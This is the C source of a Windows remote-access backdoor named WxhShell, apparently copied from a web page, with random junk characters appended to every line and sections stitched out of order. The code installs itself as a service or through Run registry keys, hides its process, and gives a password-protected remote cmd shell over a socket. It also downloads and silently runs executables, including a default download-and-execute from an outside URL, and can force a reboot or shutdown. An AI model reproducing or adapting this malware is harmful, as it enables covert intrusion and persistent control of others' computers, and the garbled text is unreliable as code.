    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); kQ`p\}7_  
    if(Boot(SHUTDOWN)) {O6yJckH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G3o`\4p  
    else { @R_ON"h  
    closesocket(wsh); "s.hO0Z  
    ExitThread(0); \ZtKaEXnx  
    } J(:y-U  
    break; W)<t7q+  
    } g3 opN>W  
  // 获取shell &;naaV_2T  
  case 's': { q#O 8Fv  
    CmdShell(wsh); N;v]ypak  
    closesocket(wsh); v?YxF}  
    ExitThread(0); X4<Y5?&0  
    break; C~IE_E&Q`  
  } s o7.$]aV  
  // 退出 6Nws>(Ij  
  case 'x': { 7]_zWx,r  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "r~/E|Da<  
    CloseIt(wsh); ffMk.SqI  
    break; F/cA tT.M?  
    } -wr_x<7  
  // 离开 g`w46X  
  case 'q': { ?=im  ~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); B- D&1gO  
    closesocket(wsh); Oye6IT"  
    WSACleanup(); $)eS Gslz  
    exit(1); 3lTnfc&  
    break; -\7_^8 am  
        } 1ozb tn  
  } #5=W[+4eN  
  } CFUn1^?0  
i<(~J4}b  
  // 提示信息 NwVhJdo  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]=p^32  
} "yc|ng  
  } I+,CiJ|4  
N@Q_5t0bk  
  return; a2[rY  
} >Q=Q%~  
P;eXUF+jn  
// shell模块句柄 B1A:}#  
int CmdShell(SOCKET sock) lL&U ioo}D  
{ +KaVvf  
STARTUPINFO si; g4y& 6!g  
ZeroMemory(&si,sizeof(si)); I_ AFHrj  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (*_lLM@Cd  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; z8XWp[K  
PROCESS_INFORMATION ProcessInfo; {.?pl]Zl6  
char cmdline[]="cmd"; dvM%" k  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); phQ{<wzwp  
  return 0; s\< @v7A  
} kE:{#>[Uz  
OIIA^QyV  
// 自身启动模式 J0imWluhQ  
int StartFromService(void) tH~>uOZW  
{ 6 FN#Xg  
typedef struct p1\mjM  
{ /|lAxAm?  
  DWORD ExitStatus; W4bN']?  
  DWORD PebBaseAddress; o7 0] F  
  DWORD AffinityMask; * F_KOf9p  
  DWORD BasePriority; "jLC!h^N  
  ULONG UniqueProcessId; da i+"  
  ULONG InheritedFromUniqueProcessId; cvQAo|  
}   PROCESS_BASIC_INFORMATION; i{16&4 '  
UmArl)R/  
PROCNTQSIP NtQueryInformationProcess; Cg|\UKfy$  
LIrebz  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0 6M?ecN  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; JL>frS3M  
UZs'H"K  
  HANDLE             hProcess; G{{M' 1  
  PROCESS_BASIC_INFORMATION pbi; CYlS8j  
LJom+PxF$x  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zkiwFEHA=  
  if(NULL == hInst ) return 0; (L1F ],Au  
jSSEfy>^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'F#dv[N  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); V/:2xT  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9 r&JsCc  
~ivOSr7s}  
  if (!NtQueryInformationProcess) return 0; gX7R-&[UD  
)Ay9 0Wt  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .lq83; k  
  if(!hProcess) return 0; >q0%yh-  
IA{W-RRb  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6B*#D.fd*  
Ndmw/ae  
  CloseHandle(hProcess); T"aE]4_  
T:Ovh.$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7>f"4r_r6<  
if(hProcess==NULL) return 0; u:f.;?  
i]s%tEZ1  
HMODULE hMod; Y%?*Lj|  
char procName[255]; bdY:-8!3  
unsigned long cbNeeded; 3m9b  
(,tu7u{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m=+x9gL2  
3<xDxj 0<  
  CloseHandle(hProcess); >x3lA0m  
B^]PKjLNZ  
if(strstr(procName,"services")) return 1; // 以服务启动 IibYGF  
H cyoNY  
  return 0; // 注册表启动 [q C0YM  
} Nd+1r|e'  
?Pa(e)8\  
// 主模块 u>G9r#~`k  
int StartWxhshell(LPSTR lpCmdLine) 9zS   
{ x(xi%?G  
  SOCKET wsl; 8 ]exsn Z  
BOOL val=TRUE; ,Si{]y  
  int port=0; Z1:%Aq xP  
  struct sockaddr_in door; 3!osQ1  
{y a .  
  if(wscfg.ws_autoins) Install(); pkae91  
ji ./m8(  
port=atoi(lpCmdLine); G~v:@  
4obW>  
if(port<=0) port=wscfg.ws_port; \gB ~0@[\7  
#r]Z2Y]  
  WSADATA data; .)_2AoT7[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 096Yd=3h  
H17I" 5N  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   xb<|m2<)H  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1DhC,)+D}q  
  door.sin_family = AF_INET; d6 ef)mw  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); beC%Tnb7  
  door.sin_port = htons(port); )XGz#C_P  
Lt=32SvTn  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \/?J)k3H.  
closesocket(wsl); Rw%?@X3m]  
return 1; l_yF;5|?z  
} ;>f\fhi'  
Nh_\{ &r  
  if(listen(wsl,2) == INVALID_SOCKET) { > *VvV/UU  
closesocket(wsl); ]wdE :k,D  
return 1; y`j=(|DV  
} (tOhuSW  
  Wxhshell(wsl); G_J}^B*?%v  
  WSACleanup(); F]PsS(  
DU$#tg}{  
return 0; 5h`LWA B  
Kx&" 9g$  
} 4xr^4\ lk  
Su"Z3gm5Kw  
// 以NT服务方式启动 E:ci/09wD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ul9^"o  
{ K%+4M#jj5  
DWORD   status = 0; Q}OloA(+  
  DWORD   specificError = 0xfffffff; op5 `#{  
>e R^G5rn;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; W. kcN,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \U]K!K=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1(dKb  
  serviceStatus.dwWin32ExitCode     = 0; aEvbGo  
  serviceStatus.dwServiceSpecificExitCode = 0; [}ja \!P  
  serviceStatus.dwCheckPoint       = 0;  +:-xV  
  serviceStatus.dwWaitHint       = 0; )J> dGIb  
$/D?Vw:]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); NytTyk)  
  if (hServiceStatusHandle==0) return; T|wz%P<J  
h !K" ;qw  
status = GetLastError(); n#b{  
  if (status!=NO_ERROR) zMu9A|  
{ v-d"dC`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Vjv6d&Q  
    serviceStatus.dwCheckPoint       = 0; #jrlNg4(  
    serviceStatus.dwWaitHint       = 0; ~M-L+XZl(  
    serviceStatus.dwWin32ExitCode     = status; cI@qt>&  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2m:K %Em6u  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (0b\%;}  
    return; 2#R$-* ;#  
  } a-Y6ghs  
un_NBv}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; | U"fhG=g  
  serviceStatus.dwCheckPoint       = 0; EI6kBRMo  
  serviceStatus.dwWaitHint       = 0; su%-b\8K  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); GI/NouaNfm  
} ,++HiYOG}e  
8R!-,I"$  
// 处理NT服务事件,比如:启动、停止 g^(gT  
VOID WINAPI NTServiceHandler(DWORD fdwControl) c{I]!y^!  
{ Cm)TFh6  
switch(fdwControl) n19A>,m  
{ GHd1?$  
case SERVICE_CONTROL_STOP: {+hABusq  
  serviceStatus.dwWin32ExitCode = 0; .=J- !{z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; o cW~I3  
  serviceStatus.dwCheckPoint   = 0; 6,q_ M(;c  
  serviceStatus.dwWaitHint     = 0; 7;AK=;  
  { <3BGW?=WP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l3>e-kP  
  } x0J W  
  return; # euG$(  
case SERVICE_CONTROL_PAUSE: `x/i1^/_@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #<b\BqYG  
  break; 5)T[ha77u  
case SERVICE_CONTROL_CONTINUE: [;Lgbgt3f  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; V&:x+swt  
  break; /qy6YF8;y  
case SERVICE_CONTROL_INTERROGATE: m\XsU?SuX  
  break; ygIn6.p  
}; %K|f,w=m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M' z.d  
} g^+p7G  
 5)'Y\~2  
// 标准应用程序主函数 ajk}&`Wj"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) B2Y.1mXq  
{ NL$z4m0  
GkI'.  
// 获取操作系统版本 XdCP!iq*8  
OsIsNt=GetOsVer(); E#:!&{O  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =EFh*sp  
/Tm+&Jd  
  // 从命令行安装 2A~o)7JaZ  
  if(strpbrk(lpCmdLine,"iI")) Install(); \]f+{d- &  
j AOy3c  
  // 下载执行文件 {:!>Y1w>  
if(wscfg.ws_downexe) { gR# k'   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M9R'ONYAa  
  WinExec(wscfg.ws_filenam,SW_HIDE); tUx H 6IS  
} 9gw;MFP)D  
z+Fu{<#(  
if(!OsIsNt) { V sl,u  
// 如果时win9x,隐藏进程并且设置为注册表启动 uc@4fn  
HideProc(); EGt 50  
StartWxhshell(lpCmdLine); er7(Wph  
} (Q=o 9o:b  
else SkmTW@v  
  if(StartFromService()) -`XS2  
  // 以服务方式启动 O)vGIp?f't  
  StartServiceCtrlDispatcher(DispatchTable); L5I!YP#v  
else R&.&x'<  
  // 普通方式启动 0}NDi|o  
  StartWxhshell(lpCmdLine); hxMRmH[f:  
.cJoNl'q  
return 0; 1k4\zVgi  
} %_5#2a  
B;(U ?gC  
;hDk gp  
uxD3+Q  
=========================================== Gh=I2GSo  
 Jk(V ]  
/Z:NoTGn  
bl a`B=r  
w6!97x  
AH&RabH2  
" 6H'A]0  
r+C4<-dT  
#include <stdio.h> z8t;jw  
#include <string.h> Fnak:R0  
#include <windows.h> pZ|{p{_j  
#include <winsock2.h> 3JQ7Cc>  
#include <winsvc.h> xtP:Q9!N  
#include <urlmon.h> zw15r" R  
q`r| DcN~  
#pragma comment (lib, "Ws2_32.lib") 6?[P^{GpH  
#pragma comment (lib, "urlmon.lib") 3S+9LOrhY  
%p  
#define MAX_USER   100 // 最大客户端连接数 b-VtQ%Q  
#define BUF_SOCK   200 // sock buffer 7 nnF!9JOv  
#define KEY_BUFF   255 // 输入 buffer K9Mz4K_  
2YZ>nqy  
#define REBOOT     0   // 重启 |D-[M_T5  
#define SHUTDOWN   1   // 关机 RR[zvH} E  
*/IiL%g4u  
#define DEF_PORT   5000 // 监听端口 T}^3Re`i  
]$L5}pE3  
#define REG_LEN     16   // 注册表键长度 (o B4*  
#define SVC_LEN     80   // NT服务名长度 o-H?q!  
v%T'!(0j/  
// 从dll定义API a r8iuwfZ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); EB!ne)X  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); nX3?7"v  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?lD)J?j  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); hH5~T5?\  
f}2}Ta  
// wxhshell配置信息 H; \C7w|  
struct WSCFG { q,)V0Ffe[|  
  int ws_port;         // 监听端口 K\9CW%W  
  char ws_passstr[REG_LEN]; // 口令 E} XmZxHV  
  int ws_autoins;       // 安装标记, 1=yes 0=no 0ex.~S_Oj4  
  char ws_regname[REG_LEN]; // 注册表键名 \7b, Mz!  
  char ws_svcname[REG_LEN]; // 服务名 [k%hl`}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Wj,s/Yr:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 R&Nl!QTJj  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d]s^?=gM  
int ws_downexe;       // 下载执行标记, 1=yes 0=no asYk #;z\"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~;CNWJtcf(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \ZADY.ha  
b/a\{  
}; /lUfxc4  
F|> 3gW  
// default Wxhshell configuration nktGO  
struct WSCFG wscfg={DEF_PORT, Z}!'fX."  
    "xuhuanlingzhe", x@q.u3o9  
    1, Z S=H1  
    "Wxhshell", k)7i^ 1U  
    "Wxhshell", c|.te]!ds  
            "WxhShell Service", rmA?Xlh\  
    "Wrsky Windows CmdShell Service", d*{Cv2A.  
    "Please Input Your Password: ", <!RkkU& 6  
  1, W>a}g[Ad  
  "http://www.wrsky.com/wxhshell.exe", YRV h[Bqg`  
  "Wxhshell.exe" qI7KWUR  
    }; j H2)8~P  
-(?/95 Y  
// 消息定义模块 P _fCb  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; w~v6=^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; qzNb\y9G  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Jyg1z,B <  
char *msg_ws_ext="\n\rExit."; ?SgFD4<~P  
char *msg_ws_end="\n\rQuit."; aXj UDu7  
char *msg_ws_boot="\n\rReboot..."; #d$z W4ur2  
char *msg_ws_poff="\n\rShutdown..."; GalSqtbmDt  
char *msg_ws_down="\n\rSave to "; QGfwvFm  
Z(|$[GZP[  
char *msg_ws_err="\n\rErr!"; 1+$F= M~  
char *msg_ws_ok="\n\rOK!"; k"cMAu.  
I[|Y 2i  
char ExeFile[MAX_PATH]; QD!NV*  
int nUser = 0; 9dA+#;?  
HANDLE handles[MAX_USER]; <rgK}&q  
int OsIsNt; 8d5#vm  
d)-ZL*o  
SERVICE_STATUS       serviceStatus; E{ c+`>CY  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; z[J=WI  
id9QfJ9t  
// 函数声明 G3TS?u8Q  
int Install(void); 3?V'O6  
int Uninstall(void); G@ ot^n3  
int DownloadFile(char *sURL, SOCKET wsh); JR]elRR  
int Boot(int flag); 0=HB!{ @  
void HideProc(void); %HpPTjAW  
int GetOsVer(void); 'e]>lRZ  
int Wxhshell(SOCKET wsl); 8[J%TWq%9  
void TalkWithClient(void *cs); ]dGH i \  
int CmdShell(SOCKET sock); 0'*{BAWx  
int StartFromService(void); ]*| hd/j  
int StartWxhshell(LPSTR lpCmdLine); of*T,MUI  
uQdH ():  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); z{OL+-OY  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); n+sv2Wv:  
4_-&PZ,d  
// 数据结构和表定义 3LfF{ED@  
SERVICE_TABLE_ENTRY DispatchTable[] = +I5\ `By=  
{ "W6cQsi  
{wscfg.ws_svcname, NTServiceMain}, C2rG3X^~Jm  
{NULL, NULL} S\N l|U[  
}; " J9  
5fk A?Ecqq  
// 自我安装 j7&#R+f  
int Install(void) M**Sus87Q  
{ gD)M7`4  
  char svExeFile[MAX_PATH]; N~/X.D4e#  
  HKEY key; E8kD#tL  
  strcpy(svExeFile,ExeFile); IIY_Q9in  
Ag0w8F  
// 如果是win9x系统,修改注册表设为自启动 yWRIh*>nE  
if(!OsIsNt) { YM;ro5_KF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c`3`}&g#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %52e^,//  
  RegCloseKey(key); XuJyso9kA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d4IQ;u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bX38=.up  
  RegCloseKey(key); =t_+ajY%  
  return 0; `m(ZX\W]  
    } A94:(z;{  
  } Y_n/rD>  
} Y S7lB  
else { c$[2tZ  
5: gpynE|  
// 如果是NT以上系统,安装为系统服务 2&S^\kf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); qfT9g>EF  
if (schSCManager!=0) c}OveR$'&  
{ +$ djX=3  
  SC_HANDLE schService = CreateService 6,LE_ -G5  
  ( *<cRQfA1  
  schSCManager, BKTTta1mY  
  wscfg.ws_svcname, xS@jV6E~  
  wscfg.ws_svcdisp, (^B1Kt!<  
  SERVICE_ALL_ACCESS, [.|& /O  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , e^q^ AP+*  
  SERVICE_AUTO_START, Pn4.gabE  
  SERVICE_ERROR_NORMAL, yj_/:eX  
  svExeFile, 2*`kkS  
  NULL, P51cEhf  
  NULL, r|}Pg}O  
  NULL, 7<70\ 6  
  NULL, 5,XEN$^  
  NULL *.w6 =}  
  ); a+z>pV|  
  if (schService!=0) p\_3g!G'  
  { 2|ee`"`  
  CloseServiceHandle(schService); ^~l@ _r  
  CloseServiceHandle(schSCManager); [MAPa  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); z<t2yh(DF  
  strcat(svExeFile,wscfg.ws_svcname); rV"3oM]Lo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [r 7Hcb  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); n,2p)#?  
  RegCloseKey(key); .sit5BX  
  return 0; nl2Lqu1  
    } t5l<Lm)  
  } #"A`:bjG  
  CloseServiceHandle(schSCManager); 5);"()g32  
} IW n G@!  
} 1H">Rb30@  
P2ySjgd  
return 1; vRaxB  
} 4 w*m]D{  
$U ._4  
// 自我卸载 B_Gcz5  
int Uninstall(void) fGj66rMGw  
{ Se[=$W  
  HKEY key; F6CuY$0m=  
D`41\#ti  
if(!OsIsNt) { m-C#~Cp36  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *cFGDQ !  
  RegDeleteValue(key,wscfg.ws_regname); P)y2'JKL  
  RegCloseKey(key); ql.[Uq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u7J:ipyiq2  
  RegDeleteValue(key,wscfg.ws_regname); M3KK^YRN  
  RegCloseKey(key);  -+qg  
  return 0; BuM #&]s  
  } r4FSQ$[9w  
} FDiDHOR  
} ,^ -%<  
else { \s8h.xjU  
pT+OPOSR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4avkyFj!h  
if (schSCManager!=0) '9vsv\A&  
{ OFv-bb*YZ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1HSt}  
  if (schService!=0) \g]rOYW  
  { 3k_\ xQ  
  if(DeleteService(schService)!=0) { oVUsI,8  
  CloseServiceHandle(schService); zBI2cB8;P  
  CloseServiceHandle(schSCManager); }n^}%GB  
  return 0; ,lCFe0>k!=  
  } b-`P-  
  CloseServiceHandle(schService); Y -BZV |  
  } ={h^X0<s9  
  CloseServiceHandle(schSCManager); 0ZL>-  
} wuCZz{c7  
} *.$ov<E.  
'Q7t5v@FF  
return 1; * kL>9  
} e=jtF"&  
}7%ol&<@  
// 从指定url下载文件 4,)QV_?  
int DownloadFile(char *sURL, SOCKET wsh) Bd>ATc+580  
{ ZS3T1 <z  
  HRESULT hr; &QH mo*  
char seps[]= "/"; $WE _aNfja  
char *token; \Ff]}4  
char *file; dj,lbUL  
char myURL[MAX_PATH]; 3uvl'1(%J  
char myFILE[MAX_PATH]; rP6k}  
l~f9F`~'  
strcpy(myURL,sURL); rw@N=`4P  
  token=strtok(myURL,seps); jt @2S  
  while(token!=NULL) ,pZz`B#  
  { ^^xzaF  
    file=token; oe9S$C;$'  
  token=strtok(NULL,seps); =AHV{V~  
  } )i-`AJK-'v  
YSZ[~?+  
GetCurrentDirectory(MAX_PATH,myFILE); oqK: 5|  
strcat(myFILE, "\\"); ``Um$i~e%  
strcat(myFILE, file); DAN"&&  
  send(wsh,myFILE,strlen(myFILE),0); u0uz~ s  
send(wsh,"...",3,0); 3WfZzb+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Y8mv[+Z  
  if(hr==S_OK) u7p:6W  
return 0; 2<2a3'pG  
else Np~qtR  
return 1; phwq#AxQ   
X5tV Xd  
} Df1eHa5-7  
4uVyf^f\]f  
// 系统电源模块  -x/g+T-  
int Boot(int flag) ~F~hgVS5  
{ ov>`MCS,v  
  HANDLE hToken; ,b+Hy`t  
  TOKEN_PRIVILEGES tkp; ws]d,]  
BIvz55g  
  if(OsIsNt) { noT}NX%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); zzKU s"u  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 127@ TN"  
    tkp.PrivilegeCount = 1; QX-M'ur99  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; wp/x|AV  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); P}PMRAek  
if(flag==REBOOT) { )fT0FLl|1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) F<6{$YI  
  return 0; (ubK i[)  
} A_6Dol=J@  
else { /#xYy^`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) lFgE{; z@  
  return 0; %#]/ ]B/4  
} ?H!X p  
  } t6+>Zr  
  else { I|mxyyf  
if(flag==REBOOT) { k"FY &;G(G  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Lr>4~1:`  
  return 0; { lZ<'p  
} RQn3y-N]  
else { )T^aJ-Uf  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0ENqK2  
  return 0; Rk{2ZUeg  
} #|e5i9l*B  
} 1Imb"E  
pq5bK0N Q  
return 1; JDMsco+j5  
} Od]wh  
c$3ZEe  
// win9x进程隐藏模块 Y9(BxDP_+Y  
void HideProc(void) o\y qf:V8  
{ iB'g7&,L  
,!^w  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |1 LKdP  
  if ( hKernel != NULL ) L\kT9wWK|  
  { D_cd l^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); R2[ }  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); CwfGp[|}e  
    FreeLibrary(hKernel); ![_GA)7  
  } jM(!!A jpC  
RQ51xTOL4]  
return; 'nqVcNgb  
} "}UYsXg  
pvd9wKz  
// 获取操作系统版本 tgm(tDL  
int GetOsVer(void) Yf^/YLLS  
{ O[')[uo8s  
  OSVERSIONINFO winfo; {S5D~A*a+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); n %P,"V  
  GetVersionEx(&winfo); Rv+p4RgA  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?x =Sm|Ej  
  return 1; x6*.zo5e  
  else 9\NP)Vm$^  
  return 0; SVyJUd_  
} #9hSo  
3qH`zYgh  
// 客户端句柄模块 3_k3U  
int Wxhshell(SOCKET wsl) N_8L8ds5  
{ [$GQ]Y  
  SOCKET wsh; ?B,B<@='%  
  struct sockaddr_in client; s}Sxl0  
  DWORD myID; x1*@PiO,.  
@sb00ad2q  
  while(nUser<MAX_USER) /B9jmvj`  
{ bk-aj'>+  
  int nSize=sizeof(client); u&Dd9kMz  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !' @  
  if(wsh==INVALID_SOCKET) return 1; ,k3aeM~`%w  
CU(W0D  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?{6[6T  
if(handles[nUser]==0)  SjO Iln  
  closesocket(wsh); @-qC".CI  
else O0<GFL$)&  
  nUser++; ZZl4|  
  } EC| b7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Z})n%l8J]p  
5B=Wnau  
  return 0; 6MR S0{  
} 6PI-"He  
GB_ m&t  
// 关闭 socket a'|Dm7'4t  
void CloseIt(SOCKET wsh) s97L/iH  
{ _`Sz}Yk  
closesocket(wsh); #3u471bp  
nUser--; N[,/VCW  
ExitThread(0); pV))g e\  
} 4.mbW  
MtO p][i  
// 客户端请求句柄 0H{0aQQ  
void TalkWithClient(void *cs) x5Ee'G(  
{ T)B1V,2j=  
*`V-zD  
  SOCKET wsh=(SOCKET)cs; pBu~($%d  
  char pwd[SVC_LEN]; DV~1gr,\  
  char cmd[KEY_BUFF]; 4==Lt Ep  
char chr[1]; \ow0Y >  
int i,j; #TSLgV'U  
5Gsj;   
  while (nUser < MAX_USER) { 0Z{(,GU  
U!x\oLP  
if(wscfg.ws_passstr) { QcQ|,lA.HI  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;EfMTI}6K  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,/>~J]:\;  
  //ZeroMemory(pwd,KEY_BUFF); b511qc"i>M  
      i=0; 57b;{kl  
  while(i<SVC_LEN) { N6<23kYM  
xX.Ox  
  // 设置超时 Mhw\i&*U  
  fd_set FdRead; 8Lpy`He  
  struct timeval TimeOut; bqg\V8h  
  FD_ZERO(&FdRead); {#y HL  
  FD_SET(wsh,&FdRead); ]H|1q uT  
  TimeOut.tv_sec=8; E|.D  
  TimeOut.tv_usec=0; | Y1<P^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;3_Q7;y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <!|2Ru  
GS3ydN<v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6l$o^R^D  
  pwd=chr[0]; '17u Wq  
  if(chr[0]==0xd || chr[0]==0xa) { rbP3&L  
  pwd=0; :r/rByd'  
  break; =;$&:Zjy/%  
  } ':w6 {b  
  i++; q9pcEm4?  
    } !J' xk  
;SVF"Uo  
  // 如果是非法用户,关闭 socket i9M6%R1m}E  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); m%E7V{t  
} ,O(XNA(C  
4"j5@bppJ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }H ,A T  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ()>\D  
EX&y !  
while(1) { :7!/FBd  
8LwbOR"  
  ZeroMemory(cmd,KEY_BUFF); #PA"l` "  
6CU8BDN  
      // 自动支持客户端 telnet标准   1.H"$D>TC  
  j=0;  Phgn|  
  while(j<KEY_BUFF) { XfsCu>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X>|.BvY|  
  cmd[j]=chr[0]; ]3QQ"HLcp  
  if(chr[0]==0xa || chr[0]==0xd) { _L!"3  
  cmd[j]=0; 6<t\KMd  
  break; 73.o{V  
  } 6v1#i  
  j++; 4!gyFi6$  
    } W#y)ukRv  
xD1B50y U  
  // 下载文件 }u+R,@l/  
  if(strstr(cmd,"http://")) { e:V,>RbC0s  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]@?3,N  
  if(DownloadFile(cmd,wsh)) tXK hkt`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |ns^' q  
  else HKcipDW  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xHr  
  } Z gU;=.  
  else { ypd  
up2%QbN(  
    switch(cmd[0]) { ^LC5orO  
